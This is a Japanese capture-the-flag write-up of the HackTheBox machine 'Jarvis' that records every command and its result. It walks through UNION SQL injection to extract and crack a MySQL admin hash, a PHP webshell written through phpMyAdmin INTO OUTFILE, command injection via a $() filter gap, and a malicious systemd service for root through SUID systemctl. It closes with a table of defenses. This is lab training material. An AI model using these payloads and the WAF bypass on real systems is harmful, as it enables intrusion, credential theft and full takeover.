HackTheBox: Jarvis — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (Stark Hotel)
→
22/80 (Stark Hotel)
room.php?cod= UNION SQLi
7カラム、mysql.userから DBadminハッシュ
→
7カラム、mysql.userから DBadminハッシュ
hashcat -m 300
imissyou
→
imissyou
phpMyAdmin SQL console
INTO OUTFILE webshell
→
INTO OUTFILE webshell
www-data RCE
→
simpler.py -p
$()コマンド注入
→
$()コマンド注入
pepper
user.txt ✓
→
user.txt ✓
SUID /bin/systemctl
GTFOBins悪意あるサービス
→
GTFOBins悪意あるサービス
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.229.137
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Stark Hotel | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.229.137/ -w /usr/share/wordlists/dirb/common.txt
RESULT
/css (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
ℹ️
“Stark Hotel”というホテルサイトの「Rooms & Suites」セクションは
/room.php?cod=Nという形式でルーム情報を取得しており、
/phpmyadminも発見された(現時点では資格情報不明)。
PHASE 2
room.php の SQLインジェクション調査
sqlmap既定User-Agentは90秒BANされる — Firefox UAで回避
BASH
UA="Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" curl -s -A "$UA" "http://10.129.229.137/room.php?cod=1'"
🚨
アプリ側にWAF的な仕組みがあり、sqlmapの既定User-Agentを検出すると
90秒間アクセスを拒否する。以降の全リクエストで通常ブラウザの
User-Agentを常用することで回避する。
UNIONベースSQLiでカラム数を確定 (7カラム)
BASH
curl -s -A "$UA" -G "http://10.129.229.137/room.php" \ --data-urlencode "cod=-1 UNION SELECT 1,2,3,4,5,6,7-- -"
RESULT (抜粋)
<h3><a href="/room.php?cod=1">2</a></h3> <span class="price-room">3</span> <p>4</p>
✅
7カラムのUNIONが成立し、2・3・4番目のカラム値がそれぞれ
ルーム名・価格・説明文としてページ上にそのまま反映される
(エラーメッセージなし=注入成功の確証)。
mysql.user から DBadmin のパスワードハッシュを抽出
BASH
curl -s -A "$UA" -G "http://10.129.229.137/room.php" --data-urlencode \ "cod=-1 UNION SELECT 1,2,3,CONCAT(User,0x3a,Password),5,6,7 FROM mysql.user-- -"
RESULT
<p>DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0</p>
ℹ️
0x3aはコロン:の16進表現。mysql.user
テーブルは(アプリ用DBユーザーではなく)MySQLサーバー自体の認証ユーザー
一覧であり、DBadminというphpMyAdmin管理者用アカウントが1件だけ存在する。
hashcatでクラック
BASH
echo "2D2B7A5E4E637B8FBA1D17F40318F277D29964D0" > hash.txt hashcat -m 300 hash.txt /usr/share/wordlists/rockyou.txt --force
RESULT
2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou
✅
-m 300はMySQL 4.1/5のPASSWORD()関数由来の
SHA1(*プレフィックス)ハッシュ形式。数十秒でクラック成功、
DBadmin:imissyouを取得。
PHASE 3
phpMyAdmin — INTO OUTFILE によるwebshell配備
phpMyAdminへログイン (セッションCookie + CSRFトークン)
PYTHON
import requests, re, html
sess = requests.Session()
r = sess.get("http://10.129.229.137/phpmyadmin/index.php")
token = html.unescape(re.search(r'name="token" value="([^"]+)"', r.text).group(1))
sess.post("http://10.129.229.137/phpmyadmin/index.php", data={
"pma_username": "DBadmin", "pma_password": "imissyou",
"server": "1", "target": "index.php", "token": token,
})
⚠️
落とし穴: phpMyAdminのCSRFトークンはHTMLエンティティ
エンコードされて埋め込まれている(
"等)。
html.unescape()でデコードせずに送信するとトークン不一致で
全リクエストが失敗する。
SQLコンソールでPHP webshellを書き込み
PYTHON
token2 = html.unescape(re.search(r'name="token" value="([^"]+)"', r2.text).group(1))
sql = 'SELECT \'<?php system($_GET["c"]); ?>\' INTO OUTFILE \'/var/www/html/sh3ll.php\''
sess.post("http://10.129.229.137/phpmyadmin/import.php", data={
"token": token2, "sql_query": sql, "db": "", "ajax_request": "true",
})
BASH (RCE確認)
curl -s "http://10.129.229.137/sh3ll.php?c=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! アプリ自身のDB接続ユーザー(
room.php
用)はFILE権限を持たずINTO OUTFILEが使えないが、phpMyAdmin
経由のDBadmin接続は管理者権限でファイル書き込みが可能。
PHASE 4
simpler.py $() コマンド注入 → pepper → user.txt
sudo権限の確認
BASH (webshell経由)
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=sudo -l"
RESULT
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
simpler.py の脆弱性 — $記号がフィルタから漏れている
PYTHON (simpler.py 抜粋: exec_ping)
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
🚨
決定的な発見: 禁止文字リストに
$ が
含まれていない。$(コマンド)形式のコマンド置換を使えば、
os.system('ping ' + command)実行時に任意コマンドが
pepper権限(sudo -u pepperで起動されているため)で
実行される。
落とし穴: /bin/shがdashのためechoの挙動に注意
NOTE
PHPのsystem()はwebshell上で/bin/sh(dash)経由でコマンドを実行する。 dashのecho組込コマンドはbashと異なり、-eフラグ無しでも\nなどの エスケープシーケンスをデフォルトで実際の改行として解釈してしまう。 これにより単純に echo '$(id > /tmp/out)' | sudo -u pepper simpler.py -p のような中継を試みると単発コマンドなら動くが、複数行ペイロードを 中継しようとした際に想定外の場所で改行が評価され壊れる。 安全に中継するには printf '%s' "文字列" を使うこと(%s展開される引数は エスケープ解釈されない)。さらに$記号は \$ でエスケープしwww-data側の シェルでの即時評価(コマンド置換の先走り実行)を防ぐ。
BASH (pepperコンテキストでコマンド実行するヘルパー)
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \ 'c=printf '"'"'%s'"'"' "\$(cat /home/pepper/user.txt > /tmp/.jarvis_user)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p'
user.txt取得
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=cat /tmp/.jarvis_user"
RESULT
e8a59048b623925a86971eec02c7d34b
user.txt — pepper
e8a59048b623925a86971eec02c7d34b
ℹ️
ここでの
/tmpはsudo経由の通常プロセスなので隔離されず
正常に読み書きできる(後述のPhase 6ではsystemdサービス経由になるため
事情が変わる)。
PHASE 5
SUIDバイナリ調査 — /bin/systemctl
SUIDバイナリの列挙
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=find / -perm -4000 2>/dev/null"
RESULT
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
...
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=ls -la /bin/systemctl"
RESULT
-rwsr-x--- 1 root pepper 174520 Jun 29 2022 /bin/systemctl
🚨
systemctlにSUIDビットが立っており、所有者root・
グループpepper・「その他」に実行権限なし。つまり
pepperグループのメンバーのみがこのSUIDを起動でき、
起動すると実効ユーザーIDがrootになる(GTFOBinsの定番手法)。
www-dataは直接実行できないため、Phase4のpepper昇格が必須の前提となる。
PHASE 6
悪意あるsystemdサービス → root.txt
サービス定義とスクリプトの作成(www-data権限で自由に書ける)
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \ "c=printf '[Unit]\nDescription=pwned\n\n[Service]\nType=oneshot\nExecStart=/dev/shm/jroot.sh\n' > /dev/shm/jroot.service" curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \ "c=printf '#!/bin/bash\ncp /root/root.txt /dev/shm/.jarvis_root\nchmod 644 /dev/shm/.jarvis_root\n' > /dev/shm/jroot.sh" curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=chmod +x /dev/shm/jroot.sh"
ℹ️
ファイル自体の所有者はwww-dataのままでよい。systemctlは
SUIDでroot実効権限のまま動作するため、参照するファイルの所有者は
問われない。制限のかかるpepperコンテキスト(Phase4の禁止文字フィルタ)を
経由する必要があるのは
systemctlコマンドの実行そのものだけ。
⚠️
落とし穴: PrivateTmp。このサービスは(デフォルト設定の
一部として)
PrivateTmpが有効な環境で動くため、ExecStartが
/tmpへ書き込んだファイルは隔離された名前空間に置かれ、
webshell側の通常の/tmpからは見えない。出力先には
/dev/shm(隔離対象外)を使うこと。
SUID systemctlでサービスを起動 (pepperコンテキスト)
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \ 'c=printf '"'"'%s'"'"' "\$(systemctl link /dev/shm/jroot.service)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p' curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \ 'c=printf '"'"'%s'"'"' "\$(systemctl start jroot.service)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p'
✅
systemctl linkで/etc/systemd/system/jroot.service
へのシンボリックリンクがroot所有で作成される
(SUID実効権限が実際に発動している証拠)。続くstartで
ExecStartがroot権限で実行され、root.txtを
/dev/shmへコピー・世界読取可能化する。
root.txt取得
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=cat /dev/shm/.jarvis_root"
RESULT
05309afd9028ee40a3ba653abe63b369
root.txt — root@jarvis
05309afd9028ee40a3ba653abe63b369
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — pepper
e8a59048b623925a86971eec02c7d34b
root.txt — root@jarvis
05309afd9028ee40a3ba653abe63b369
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| UNION SQLi | room.php (cod パラメータ) | DB管理者パスワードハッシュの窃取 | Critical | 7カラムUNIONでmysql.userからDBadminのSHA1ハッシュを抽出、hashcatでクラック |
| MySQL INTO OUTFILE | phpMyAdmin (DBadmin権限) | リモートコード実行 (www-data) | Critical | FILE権限を持つDB管理者接続でPHP webshellをWebルートへ直接書き込み |
| 不完全なコマンドインジェクション対策 | /var/www/Admin-Utilities/simpler.py (exec_ping) | 権限昇格 (www-data → pepper) | High | 禁止文字リストに$が抜けており$(cmd)形式のコマンド置換が素通りする |
| SUID systemctl (GTFOBins) | /bin/systemctl | 権限昇格 (pepper → root) | Critical | SUIDが立ったsystemctlで悪意あるサービスを作成・起動しroot権限のコード実行を得る |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 22/80、/phpmyadmin発見 |
| 2 | SQLi | UNION SQLi(7カラム) + hashcat | DBadmin:imissyou |
| 3 | RCE | phpMyAdmin INTO OUTFILE | www-data RCE確立 |
| 4 | 横展開 | simpler.py $()コマンド注入 | user.txt取得(pepper) |
| 5 | 権限調査 | find -perm -4000 | SUID systemctl(pepperグループのみ実行可)発見 |
| 6 | 権限昇格 | GTFOBins systemctl | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| room.phpのcodパラメータがSQLインジェクション可能 | プリペアドステートメント(パラメータ化クエリ)を徹底し、ユーザー入力を SQL文へ直接連結しない。 |
| MySQLのFILE権限を持つ管理者アカウントのパスワードが弱く、 辞書攻撃でクラック可能 | 強力なパスワードポリシーを強制する。DB管理者アカウントのFILE権限は 本当に必要な場合のみ付与する。 |
| コマンドインジェクション対策の禁止文字リストが不完全($が抜けている) | ブラックリスト方式でなくホワイトリスト方式(許可する文字パターンのみ
受理)で入力検証する。シェルコマンドの組み立て自体を避け、
subprocessの引数リスト形式(shell=False)を使う。 |
| SUIDビットが不要なバイナリ(systemctl)に付与されている | SUID/SGIDビットは本当に必要なバイナリのみに限定する。sudoersで 必要な操作だけを個別に許可する方が安全。 |

